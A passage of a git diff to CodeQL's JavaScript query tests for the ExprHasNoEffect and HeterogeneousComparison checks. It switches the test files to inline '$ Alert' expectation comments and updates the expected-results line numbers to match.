+| tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. |
+| tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. |
+| tst.js:77:24:77:24 | o | This expression has no effect. |
+| uselessfn.js:1:1:1:26 | (functi ... .");\\n}) | This expression has no effect. |
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.qlref b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.qlref
index 83e04904db2a..f4e3458759ba 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.qlref
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.qlref
@@ -1 +1,2 @@
-Expressions/ExprHasNoEffect.ql
\ No newline at end of file
+query: Expressions/ExprHasNoEffect.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/es2015.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/es2015.js
index f543395bc87c..07a81208a4ce 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/es2015.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/es2015.js
@@ -1,6 +1,6 @@
 function* foo(){
   var index = 0;
   while(index <= 2)
-    // OK
+
     yield index++;
 }
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/should.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/should.js
index 2bb1d46c4062..6b5b599f4b00 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/should.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/should.js
@@ -20,7 +20,7 @@ var myComplicatedPropertyDescriptor = (function(k) {
 })("get");
 Object.defineProperty(Object.prototype, 'foo', myComplicatedPropertyDescriptor);
 
-// OK: getters
+// OK - getters
 (false).should.be.ok;
 (false).should;
 should.prototype.be;
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/try.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/try.js
index a665423bd815..36bf5253ebdf 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/try.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/try.js
@@ -19,7 +19,7 @@ function try2(x) {
 function try3(x) {
     try {
         x.ordinaryProperty()
-        x.ordinaryProperty // NOT OK
+        x.ordinaryProperty // $ Alert
         return x;
     } catch (e) {
         return false;
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js
index e58a785b5aac..a91759e553f1 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js
@@ -1,83 +1,82 @@
-'use strict'; // OK
-'use struct'; // OK (flagged by UnknownDirective.ql)
-23; // NOT OK
-void(23); // OK
-23, foo(); // NOT OK
-foo(23, 42); // OK
-foo((23, bar())); // NOT OK
-foo((bar(), 23)); // OK
-1,f(); // NOT OK
-
-// OK
+'use strict';
+'use struct'; // OK - flagged by UnknownDirective.ql
+23; // $ Alert
+void(23);
+23, foo(); // $ Alert
+foo(23, 42);
+foo((23, bar())); // $ Alert
+foo((bar(), 23));
+1,f(); // $ Alert
+
+
 /**
  * @type {function(int) : string}
  */
 String.prototype.slice;
 
-// OK
+
 /** @typedef {(string|number)} */
 goog.NumberLike;
 
-// NOT OK
 /** Useless */
-x;
+x; // $ Alert
 
-// OK (magic DOM property)
+// OK - magic DOM property
 elt.clientTop;
 
-// OK (xUnit fixture)
+// OK - xUnit fixture
 [Fixture]
 function tst() {}
 
-// OK: bad style, but most likely intentional
+// OK - bad style, but most likely intentional
 (0, o.m)();
 (0, o["m"])();
 
 function tst() {
-  // OK: bad style, but most likely intentional
+  // OK - bad style, but most likely intentional
   (0, eval)("42");
 }
 
 function f() {
     var x;
-    "foo"; // NOT OK
+    "foo"; // $ Alert
 }
 
 try {
   doSomethingDangerous();
 } catch(e) {
-  new Error("Told you so"); // NOT OK
-  new SyntaxError("Why didn't you listen to me?"); // NOT OK
-  new Error(computeSnarkyMessage(e)); // NOT OK
-  new UnknownError(); // OK
+  new Error("Told you so"); // $ Alert
+  new SyntaxError("Why didn't you listen to me?"); // $ Alert
+  new Error(computeSnarkyMessage(e)); // $ Alert
+  new UnknownError();
 }
 
 function g() {
 	var o = {};
 
 	Object.defineProperty(o, "trivialGetter1", { get: function(){} });
-	o.trivialGetter1; // OK
+	o.trivialGetter1;
 
 	Object.defineProperty(o, "trivialNonGetter1", "foo");
-	o.trivialNonGetter1; // NOT OK
+	o.trivialNonGetter1; // $ Alert
 
 	var getterDef1 = { get: function(){} };
 	Object.defineProperty(o, "nonTrivialGetter1", getterDef1);
-	o.nonTrivialGetter1; // OK
+	o.nonTrivialGetter1;
 
 	var getterDef2 = { };
 	unknownPrepareGetter(getterDef2);
 	Object.defineProperty(o, "nonTrivialNonGetter1", getterDef2);
-	o.nonTrivialNonGetter1; // OK
+	o.nonTrivialNonGetter1;
 
 	Object.defineProperty(o, "nonTrivialGetter2", unknownGetterDef());
-	o.nonTrivialGetter2; // OK
+	o.nonTrivialGetter2;
 	
-	(o: empty); // OK
+	(o: empty);
 
-	testSomeCondition() ? o : // NOT OK
+	testSomeCondition() ? o : // $ Alert
 		doSomethingDangerous();
 
-	consume(testSomeCondition() ? o : // OK
+	consume(testSomeCondition() ? o :
 		doSomethingDangerous());
 };
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst2.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst2.js
index 62f64f2f729a..0e66a95c166e 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst2.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst2.js
@@ -1,4 +1,3 @@
 function tst2(eval) {
-  // NOT OK
-  (0, eval)("42");
+  (0, eval)("42"); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js
index e3634673ea58..341644bf6498 100644
--- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js
+++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js
@@ -1,3 +1,3 @@
-(function f() {
+(function f() { // $ Alert
   console.log("I'm never called.");
 })
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.expected b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.expected
index 62637a0bb38a..60c9c95e2484 100644
--- a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.expected
+++ b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.expected
@@ -1,53 +1,53 @@
 | interprocedural.js:11:9:11:13 | known | Variable 'known' is of type string, but it is compared to $@ of type number. | interprocedural.js:11:19:11:20 | 42 | an expression |
 | interprocedural.js:15:9:15:18 | getKnown() | This expression is of type string, but it is compared to $@ of type number. | interprocedural.js:15:24:15:25 | 42 | an expression |
 | interprocedural.js:17:9:17:27 | getKnown_indirect() | This expression is of type string, but it is compared to $@ of type number. | interprocedural.js:17:33:17:34 | 42 | an expression |
-| tst.js:2:5:2:17 | typeof window | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:2:23:2:31 | undefined | 'undefined' |
-| tst.js:10:28:10:34 | "Hello" | This expression is of type string, but it is compared to $@ of type number. | tst.js:10:39:10:39 | 0 | an expression |
-| tst.js:20:1:20:4 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:20:9:20:9 | 0 | an expression |
-| tst.js:24:6:24:7 | 42 | This expression is of type number, but it is compared to $@ of type string. | tst.js:23:9:23:12 | "hi" | an expression |
-| tst.js:28:1:28:23 | Object. ... ) + "!" | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:28:28:28:36 | undefined | 'undefined' |
-| tst.js:31:1:31:29 | (+f() \| ... + k())) | This expression is of type boolean, number or string, but it is compared to $@ of type undefined. | tst.js:31:34:31:42 | undefined | 'undefined' |
-| tst.js:34:5:34:19 | !Module['load'] | This expression is of type boolean, but it is compared to $@ of type string. | tst.js:34:24:34:34 | 'undefined' | an expression |
-| tst.js:48:3:48:8 | number | Variable 'number' is of type number, but it is compared to $@ of type string. | tst.js:48:13:48:18 | "zero" | an expression |
-| tst.js:52:1:52:1 | 0 | This expression is of type number, but it is compared to $@ of type object or undefined. | tst.js:52:5:52:43 | (Math.r ... [1, 2]) | an expression |
-| tst.js:88:31:88:32 | x2 | Variable 'x2' is of type date, object or regular expression, but it is compared to $@ of type null. | tst.js:88:38:88:41 | null | an expression |
-| tst.js:91:35:91:36 | x3 | Variable 'x3' is of type date, object or regular expression, but it is compared to $@ of type null. | tst.js:91:42:91:45 | null | an expression |
-| tst.js:101:5:101:6 | x5 | Variable 'x5' cannot be of type null, but it is compared to $@ of type null. | tst.js:101:12:101:15 | null | an expression |
-| tst.js:104:9:104:10 | x6 | Variable 'x6' cannot be of type null, but it is compared to $@ of type null. | tst.js:104:16:104:19 | null | an expression |
-| tst.js:110:5:110:5 | o | Variable 'o' is of type object, but it is compared to $@ of type string. | tst.js:110:9:110:13 | "def" | an expression |
-| tst.js:117:5:117:5 | a | Variable 'a' is of type object, but it is compared to $@ of type string. | tst.js:117:9:117:13 | "def" | an expression |
-| tst.js:131:5:131:8 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:131:13:131:14 | 42 | an expression |
-| tst.js:134:5:134:8 | true | This expression is of type boolean, but it is compared to $@ of type string. | tst.js:134:13:134:17 | "bar" | an expression |
-| tst.js:142:5:142:5 | a | Variable 'a' is of type number, but it is compared to $@ of type string. | tst.js:142:11:142:14 | "42" | an expression |
-| tst.js:143:5:143:6 | 42 | This expression is of type number, but it is compared to $@ of type string. | tst.js:143:12:143:12 | b | variable 'b' |
-| tst.js:144:5:144:5 | a | Variable 'a' is of type number, but it is compared to $@ of type string. | tst.js:144:11:144:11 | b | variable 'b' |
-| tst.js:148:5:148:9 | "foo" | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:148:15:148:23 | undefined | 'undefined' |
-| tst.js:149:5:149:13 | undefined | 'undefined' is of type undefined, but it is compared to $@ of type string. | tst.js:149:19:149:23 | "foo" | an expression |
-| tst.js:151:5:151:7 | NaN | 'NaN' is of type number, but it is compared to $@ of type string. | tst.js:151:13:151:17 | "foo" | an expression |
-| tst.js:153:5:153:12 | Infinity | 'Infinity' is of type number, but it is compared to $@ of type string. | tst.js:153:18:153:22 | "foo" | an expression |
-| tst.js:160:5:160:6 | t1 | Variable 't1' is of type number, but it is compared to $@ of type null. | tst.js:160:12:160:15 | null | an expression |
-| tst.js:161:5:161:8 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:161:14:161:15 | t1 | variable 't1' |
-| tst.js:164:5:164:6 | t2 | Variable 't2' is of type number or string, but it is compared to $@ of type null. | tst.js:164:12:164:15 | null | an expression |
-| tst.js:165:5:165:8 | null | This expression is of type null, but it is compared to $@ of type number or string. | tst.js:165:14:165:15 | t2 | variable 't2' |
-| tst.js:168:5:168:6 | t3 | Variable 't3' is of type number, string or undefined, but it is compared to $@ of type null. | tst.js:168:12:168:15 | null | an expression |
-| tst.js:169:5:169:8 | null | This expression is of type null, but it is compared to $@ of type number, string or undefined. | tst.js:169:14:169:15 | t3 | variable 't3' |
-| tst.js:172:5:172:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type null. | tst.js:172:12:172:15 | null | an expression |
-| tst.js:173:5:173:8 | null | This expression is of type null, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:173:14:173:15 | t4 | variable 't4' |
-| tst.js:176:5:176:6 | t5 | Variable 't5' cannot be of type null, but it is compared to $@ of type null. | tst.js:176:12:176:15 | null | an expression |
-| tst.js:177:5:177:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:177:14:177:15 | t5 | variable 't5' |
-| tst.js:180:5:180:6 | t6 | Variable 't6' cannot be of type null, but it is compared to $@ of type null. | tst.js:180:12:180:15 | null | an expression |
-| tst.js:181:5:181:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:181:14:181:15 | t6 | variable 't6' |
-| tst.js:184:5:184:6 | t7 | Variable 't7' cannot be of type null, but it is compared to $@ of type null. | tst.js:184:12:184:15 | null | an expression |
-| tst.js:185:5:185:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:185:14:185:15 | t7 | variable 't7' |
-| tst.js:188:5:188:6 | t8 | Variable 't8' cannot be of type null, but it is compared to $@ of type null. | tst.js:188:12:188:15 | null | an expression |
-| tst.js:189:5:189:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:189:14:189:15 | t8 | variable 't8' |
-| tst.js:202:5:202:6 | t2 | Variable 't2' is of type function or regular expression, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:202:12:202:13 | t4 | variable 't4' |
-| tst.js:203:5:203:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type function or regular expression. | tst.js:203:12:203:13 | t2 | variable 't2' |
-| tst.js:204:5:204:6 | t3 | Variable 't3' is of type function, object or regular expression, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:204:12:204:13 | t4 | variable 't4' |
-| tst.js:205:5:205:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type function, object or regular expression. | tst.js:205:12:205:13 | t3 | variable 't3' |
-| tst.js:207:5:207:6 | t2 | Variable 't2' is of type function or regular expression, but it is compared to $@ , which cannot be of type function or regular expression. | tst.js:207:12:207:13 | t5 | variable 't5' |
-| tst.js:208:5:208:6 | t5 | Variable 't5' cannot be of type function or regular expression, but it is compared to $@ of type function or regular expression. | tst.js:208:12:208:13 | t2 | variable 't2' |
-| tst.js:209:5:209:6 | t3 | Variable 't3' is of type function, object or regular expression, but it is compared to $@ of type boolean, null, number, string or undefined. | tst.js:209:12:209:13 | t5 | variable 't5' |
-| tst.js:210:5:210:6 | t5 | Variable 't5' is of type boolean, null, number, string or undefined, but it is compared to $@ of type function, object or regular expression. | tst.js:210:12:210:13 | t3 | variable 't3' |
-| tst.js:225:13:225:14 | xy | Variable 'xy' is of type undefined, but it is compared to $@ of type string. | tst.js:225:20:225:24 | "foo" | an expression |
-| tst.js:233:5:233:5 | x | Variable 'x' is of type object, but it is compared to $@ of type number. | tst.js:233:11:233:12 | 42 | an expression |
+| tst.js:1:5:1:17 | typeof window | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:1:23:1:31 | undefined | 'undefined' |
+| tst.js:8:28:8:34 | "Hello" | This expression is of type string, but it is compared to $@ of type number. | tst.js:8:39:8:39 | 0 | an expression |
+| tst.js:17:1:17:4 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:17:9:17:9 | 0 | an expression |
+| tst.js:20:6:20:7 | 42 | This expression is of type number, but it is compared to $@ of type string. | tst.js:19:9:19:12 | "hi" | an expression |
+| tst.js:23:1:23:23 | Object. ... ) + "!" | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:23:28:23:36 | undefined | 'undefined' |
+| tst.js:25:1:25:29 | (+f() \| ... + k())) | This expression is of type boolean, number or string, but it is compared to $@ of type undefined. | tst.js:25:34:25:42 | undefined | 'undefined' |
+| tst.js:27:5:27:19 | !Module['load'] | This expression is of type boolean, but it is compared to $@ of type string. | tst.js:27:24:27:34 | 'undefined' | an expression |
+| tst.js:41:3:41:8 | number | Variable 'number' is of type number, but it is compared to $@ of type string. | tst.js:41:13:41:18 | "zero" | an expression |
+| tst.js:44:1:44:1 | 0 | This expression is of type number, but it is compared to $@ of type object or undefined. | tst.js:44:5:44:43 | (Math.r ... [1, 2]) | an expression |
+| tst.js:78:31:78:32 | x2 | Variable 'x2' is of type date, object or regular expression, but it is compared to $@ of type null. | tst.js:78:38:78:41 | null | an expression |
+| tst.js:81:35:81:36 | x3 | Variable 'x3' is of type date, object or regular expression, but it is compared to $@ of type null. | tst.js:81:42:81:45 | null | an expression |
+| tst.js:91:5:91:6 | x5 | Variable 'x5' cannot be of type null, but it is compared to $@ of type null. | tst.js:91:12:91:15 | null | an expression |
+| tst.js:94:9:94:10 | x6 | Variable 'x6' cannot be of type null, but it is compared to $@ of type null. | tst.js:94:16:94:19 | null | an expression |
+| tst.js:100:5:100:5 | o | Variable 'o' is of type object, but it is compared to $@ of type string. | tst.js:100:9:100:13 | "def" | an expression |
+| tst.js:107:5:107:5 | a | Variable 'a' is of type object, but it is compared to $@ of type string. | tst.js:107:9:107:13 | "def" | an expression |
+| tst.js:121:5:121:8 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:121:13:121:14 | 42 | an expression |
+| tst.js:124:5:124:8 | true | This expression is of type boolean, but it is compared to $@ of type string. | tst.js:124:13:124:17 | "bar" | an expression |
+| tst.js:132:5:132:5 | a | Variable 'a' is of type number, but it is compared to $@ of type string. | tst.js:132:11:132:14 | "42" | an expression |
+| tst.js:133:5:133:6 | 42 | This expression is of type number, but it is compared to $@ of type string. | tst.js:133:12:133:12 | b | variable 'b' |
+| tst.js:134:5:134:5 | a | Variable 'a' is of type number, but it is compared to $@ of type string. | tst.js:134:11:134:11 | b | variable 'b' |
+| tst.js:138:5:138:9 | "foo" | This expression is of type string, but it is compared to $@ of type undefined. | tst.js:138:15:138:23 | undefined | 'undefined' |
+| tst.js:139:5:139:13 | undefined | 'undefined' is of type undefined, but it is compared to $@ of type string. | tst.js:139:19:139:23 | "foo" | an expression |
+| tst.js:141:5:141:7 | NaN | 'NaN' is of type number, but it is compared to $@ of type string. | tst.js:141:13:141:17 | "foo" | an expression |
+| tst.js:143:5:143:12 | Infinity | 'Infinity' is of type number, but it is compared to $@ of type string. | tst.js:143:18:143:22 | "foo" | an expression |
+| tst.js:150:5:150:6 | t1 | Variable 't1' is of type number, but it is compared to $@ of type null. | tst.js:150:12:150:15 | null | an expression |
+| tst.js:151:5:151:8 | null | This expression is of type null, but it is compared to $@ of type number. | tst.js:151:14:151:15 | t1 | variable 't1' |
+| tst.js:154:5:154:6 | t2 | Variable 't2' is of type number or string, but it is compared to $@ of type null. | tst.js:154:12:154:15 | null | an expression |
+| tst.js:155:5:155:8 | null | This expression is of type null, but it is compared to $@ of type number or string. | tst.js:155:14:155:15 | t2 | variable 't2' |
+| tst.js:158:5:158:6 | t3 | Variable 't3' is of type number, string or undefined, but it is compared to $@ of type null. | tst.js:158:12:158:15 | null | an expression |
+| tst.js:159:5:159:8 | null | This expression is of type null, but it is compared to $@ of type number, string or undefined. | tst.js:159:14:159:15 | t3 | variable 't3' |
+| tst.js:162:5:162:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type null. | tst.js:162:12:162:15 | null | an expression |
+| tst.js:163:5:163:8 | null | This expression is of type null, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:163:14:163:15 | t4 | variable 't4' |
+| tst.js:166:5:166:6 | t5 | Variable 't5' cannot be of type null, but it is compared to $@ of type null. | tst.js:166:12:166:15 | null | an expression |
+| tst.js:167:5:167:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:167:14:167:15 | t5 | variable 't5' |
+| tst.js:170:5:170:6 | t6 | Variable 't6' cannot be of type null, but it is compared to $@ of type null. | tst.js:170:12:170:15 | null | an expression |
+| tst.js:171:5:171:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:171:14:171:15 | t6 | variable 't6' |
+| tst.js:174:5:174:6 | t7 | Variable 't7' cannot be of type null, but it is compared to $@ of type null. | tst.js:174:12:174:15 | null | an expression |
+| tst.js:175:5:175:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:175:14:175:15 | t7 | variable 't7' |
+| tst.js:178:5:178:6 | t8 | Variable 't8' cannot be of type null, but it is compared to $@ of type null. | tst.js:178:12:178:15 | null | an expression |
+| tst.js:179:5:179:8 | null | This expression is of type null, but it is compared to $@ , which cannot be of type null. | tst.js:179:14:179:15 | t8 | variable 't8' |
+| tst.js:192:5:192:6 | t2 | Variable 't2' is of type function or regular expression, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:192:12:192:13 | t4 | variable 't4' |
+| tst.js:193:5:193:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type function or regular expression. | tst.js:193:12:193:13 | t2 | variable 't2' |
+| tst.js:194:5:194:6 | t3 | Variable 't3' is of type function, object or regular expression, but it is compared to $@ of type boolean, number, string or undefined. | tst.js:194:12:194:13 | t4 | variable 't4' |
+| tst.js:195:5:195:6 | t4 | Variable 't4' is of type boolean, number, string or undefined, but it is compared to $@ of type function, object or regular expression. | tst.js:195:12:195:13 | t3 | variable 't3' |
+| tst.js:197:5:197:6 | t2 | Variable 't2' is of type function or regular expression, but it is compared to $@ , which cannot be of type function or regular expression. | tst.js:197:12:197:13 | t5 | variable 't5' |
+| tst.js:198:5:198:6 | t5 | Variable 't5' cannot be of type function or regular expression, but it is compared to $@ of type function or regular expression. | tst.js:198:12:198:13 | t2 | variable 't2' |
+| tst.js:199:5:199:6 | t3 | Variable 't3' is of type function, object or regular expression, but it is compared to $@ of type boolean, null, number, string or undefined. | tst.js:199:12:199:13 | t5 | variable 't5' |
+| tst.js:200:5:200:6 | t5 | Variable 't5' is of type boolean, null, number, string or undefined, but it is compared to $@ of type function, object or regular expression. | tst.js:200:12:200:13 | t3 | variable 't3' |
+| tst.js:215:13:215:14 | xy | Variable 'xy' is of type undefined, but it is compared to $@ of type string. | tst.js:215:20:215:24 | "foo" | an expression |
+| tst.js:223:5:223:5 | x | Variable 'x' is of type object, but it is compared to $@ of type number. | tst.js:223:11:223:12 | 42 | an expression |
diff --git a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.qlref b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.qlref
index 13b0e2a181cb..22ce4796bb35 100644
--- a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.qlref
+++ b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/HeterogeneousComparison.qlref
@@ -1 +1,2 @@
-Expressions/HeterogeneousComparison.ql
\ No newline at end of file
+query: Expressions/HeterogeneousComparison.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/interprocedural.js b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/interprocedural.js
index 82e536676198..0d2af62c7bf6 100644
--- a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/interprocedural.js
+++ b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/interprocedural.js
@@ -8,13 +8,13 @@
         // disable the whitelist
         known = known; unknown = unknown; gotKnown = gotKnown; gotUnknown = gotUnknown;
 
-        known === 42;
+        known === 42; // $ Alert
         known == 42;
         gotKnown === 42;
         gotKnown == 42;
-        getKnown() === 42;
+        getKnown() === 42; // $ Alert
         getKnown() == 42;
-        getKnown_indirect() === 42;
+        getKnown_indirect() === 42; // $ Alert
         getKnown_indirect() == 42;
 
         unknown === 42;
diff --git a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/tst.js b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/tst.js
index f500d4cdafce..c441f4834658 100644
--- a/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/HeterogeneousComparison/tst.js
@@ -1,137 +1,127 @@
-// NOT OK
-if (typeof window !== undefined)
+if (typeof window !== undefined) // $ Alert
   console.log("browser");
 
-// OK
+
 if (typeof window === "undefined")
   console.log("not a browser");
 
-// NOT OK
-if ("Hello, world".indexOf("Hello" >= 0))
+if ("Hello, world".indexOf("Hello" >= 0)) // $ Alert
   console.log("It's in there.");
 
-// OK
+
 true < 1;
 
-// OK
+
 undefined == null;
 
-// NOT OK
-null == 0;
+null == 0; // $ Alert
 
-// NOT OK
 switch ("hi") {
-case 42:
+case 42: // $ Alert
 }
 
-// NOT OK
-Object.toString() + "!" == undefined;
+Object.toString() + "!" == undefined; // $ Alert
 
-// NOT OK
-(+f() || !g() || (h() + k())) == undefined;
+(+f() || !g() || (h() + k())) == undefined; // $ Alert
 
-// NOT OK
-if (!Module['load'] == 'undefined') {
+if (!Module['load'] == 'undefined') { // $ Alert
 }
 
 function f(x) {
   return true;
-  // OK
+
   return x === 42;
 }
 
 function g() {
   var number = 0; // number
-  // OK
+
   number == "0";
-  // NO OK
-  number == "zero";
+
+  number == "zero"; // $ Alert
 }
 
-// NOT OK
-0 < (Math.random() > 0.5 ? void 0 : [1, 2]);
+0 < (Math.random() > 0.5 ? void 0 : [1, 2]); // $ Alert
+
 
-// OK
 '100' < 1000;
 
-// OK (fvsvo "OK")
+// OK - fvsvo "OK"
 100 > '';
 
-// OK
+
 new Date('foo') == 'Invalid Date';
 
-// OK
+
 new String('bar') == 'bar';
 
-// OK
+
 ({ valueOf: () => true } == true);
 
-// OK
+
 ({ valueOf: () => 42 } == 42);
 
-// OK
+
 ({ valueOf: () => 'hi' } == 'hi');
 
-// OK
+
 ({ valueOf: () => null } == null);
 
-// NOT OK, but not currently flagged since we conservatively
-// assume that `new Date(123)` could return any object, not necessarily a Date
-new Date(123) == 123
+new Date(123) == 123; // $ MISSING: Alert - we conservatively assume that `new Date(123)` could return any object, not necessarily a Date
 
 function f(x1, x2, x3, x4, x5, x6){
-    typeof x1 === 'object' && x1 !== null; // OK
+    typeof x1 === 'object' && x1 !== null;
 
     if (!x2) {
         x2 = new Error();
     }
-    typeof x2 === 'object' && x2 !== null; // NOT OK: x2 cannot be null here
+    typeof x2 === 'object' && x2 !== null; // $ Alert - x2 cannot be null here
 
     if (x3) {
-        typeof x3 === 'object' && x3 !== null; // NOT OK: x3 cannot be null here
+        typeof x3 === 'object' && x3 !== null; // $ Alert - x3 cannot be null here
     }
 
     if (!x4) {
-        typeof x4 === 'object' && x4 !== null; // OK
+        typeof x4 === 'object' && x4 !== null;
     }
 
     if (!x5) {
         x5 = new Error();
     }
-    x5 !== null; // NOT OK: x2 cannot be null here
+    x5 !== null; // $ Alert - x2 cannot be null here
 
     if (x6) {
-        x6 !== null; // NOT OK: x3 cannot be null here
+        x6 !== null; // $ Alert - x3 cannot be null here
     }
 }
 
 function g() {
     var o = {};
-    o < "def"; // NOT OK
+    o < "def"; // $ Alert
 
     var p = { toString() { return "abc"; } };
-    p < "def"; // OK
+    p < "def";
 
     function A() {}
     var a = new A();
-    a < "def"; // NOT OK
+    a < "def"; // $ Alert
 
     function B() {};
     B.prototype = p;
     var b = new B();
-    b < "def"; // OK
+    b < "def";
 
     function C() {
       this.valueOf = function() { return 42; };
     }
     var c = new C();
-    c != 23; // OK
+    c != 23;
 
     null.valueOf = function() { return 42; };
-    null == 42; // NOT OK
+    null == 42; // $ Alert
 
     true.valueOf = function() { return "foo" };
-    true != "bar"; // NOT OK
+    true != "bar"; // $ Alert
 }
 
 
@@ -139,54 +129,54 @@ function h() {
     var a = 42;
     var b = "42";
 
-    a === "42"; // NOT OK
-    42 === b // NOT OK
-    a === b; // NOT OK
+    a === "42"; // $ Alert
+    42 === b // $ Alert
+    a === b; // $ Alert
 }
 
 function i() {
-    "foo" === undefined
-    undefined === "foo" // NOT OK
+    "foo" === undefined // $ Alert
+    undefined === "foo" // $ Alert
     var NaN = 0; // trick analysis to consider warning about NaN, for the purpose of testing pretty printing
-    NaN === "foo" // NOT OK
+    NaN === "foo" // $ Alert
     var Infinity = 0; // trick analysis to consider warning about Infinity, for the purpose of testing pretty printing
-    Infinity === "foo" // NOT OK
+    Infinity === "foo" // $ Alert
 }
 
 function k() {
     // tests for pretty printing of many types
 
     var t1 = 42;
-    t1 !== null; // NOT OK
-    null !== t1; // NOT OK
+    t1 !== null; // $ Alert
+    null !== t1; // $ Alert
 
     var t2 = unknown? t1: "foo";
-    t2 !== null; // NOT OK
-    null !== t2; // NOT OK
+    t2 !== null; // $ Alert
+    null !== t2; // $ Alert
 
     var t3 = unknown? t2: undefined;
-    t3 !== null; // NOT OK
-    null !== t3; // NOT OK
+    t3 !== null; // $ Alert
+    null !== t3; // $ Alert
 
     var t4 = unknown? t3: true;
-    t4 !== null; // NOT OK
-    null !== t4; // NOT OK
+    t4 !== null; // $ Alert
+    null !== t4; // $ Alert
 
     var t5 = unknown? t4: function(){};
-    t5 !== null; // NOT OK
-    null !== t5; // NOT OK
+    t5 !== null; // $ Alert
+    null !== t5; // $ Alert
 
     var t6 = unknown? t5: /t/;
-    t6 !== null; // NOT OK
-    null !== t6; // NOT OK
+    t6 !== null; // $ Alert
+    null !== t6; // $ Alert
 
     var t7 = unknown? t6: {};
-    t7 !== null; // NOT OK
-    null !== t7; // NOT OK
+    t7 !== null; // $ Alert
+    null !== t7; // $ Alert
 
     var t8 = unknown? t8: new Symbol();
-    t8 !== null; // NOT OK
-    null !== t8; // NOT OK
+    t8 !== null; // $ Alert
+    null !== t8; // $ Alert
 
 }
 
@@ -199,22 +189,22 @@ function l() {
     var t4 = unknown? 42: unknown? "foo": unknown? undefined: true;
     var t5 = unknown? t4: null
 
-    t2 !== t4; // NOT OK
-    t4 !== t2; // NOT OK
-    t3 !== t4; // NOT OK
-    t4 !== t3; // NOT OK
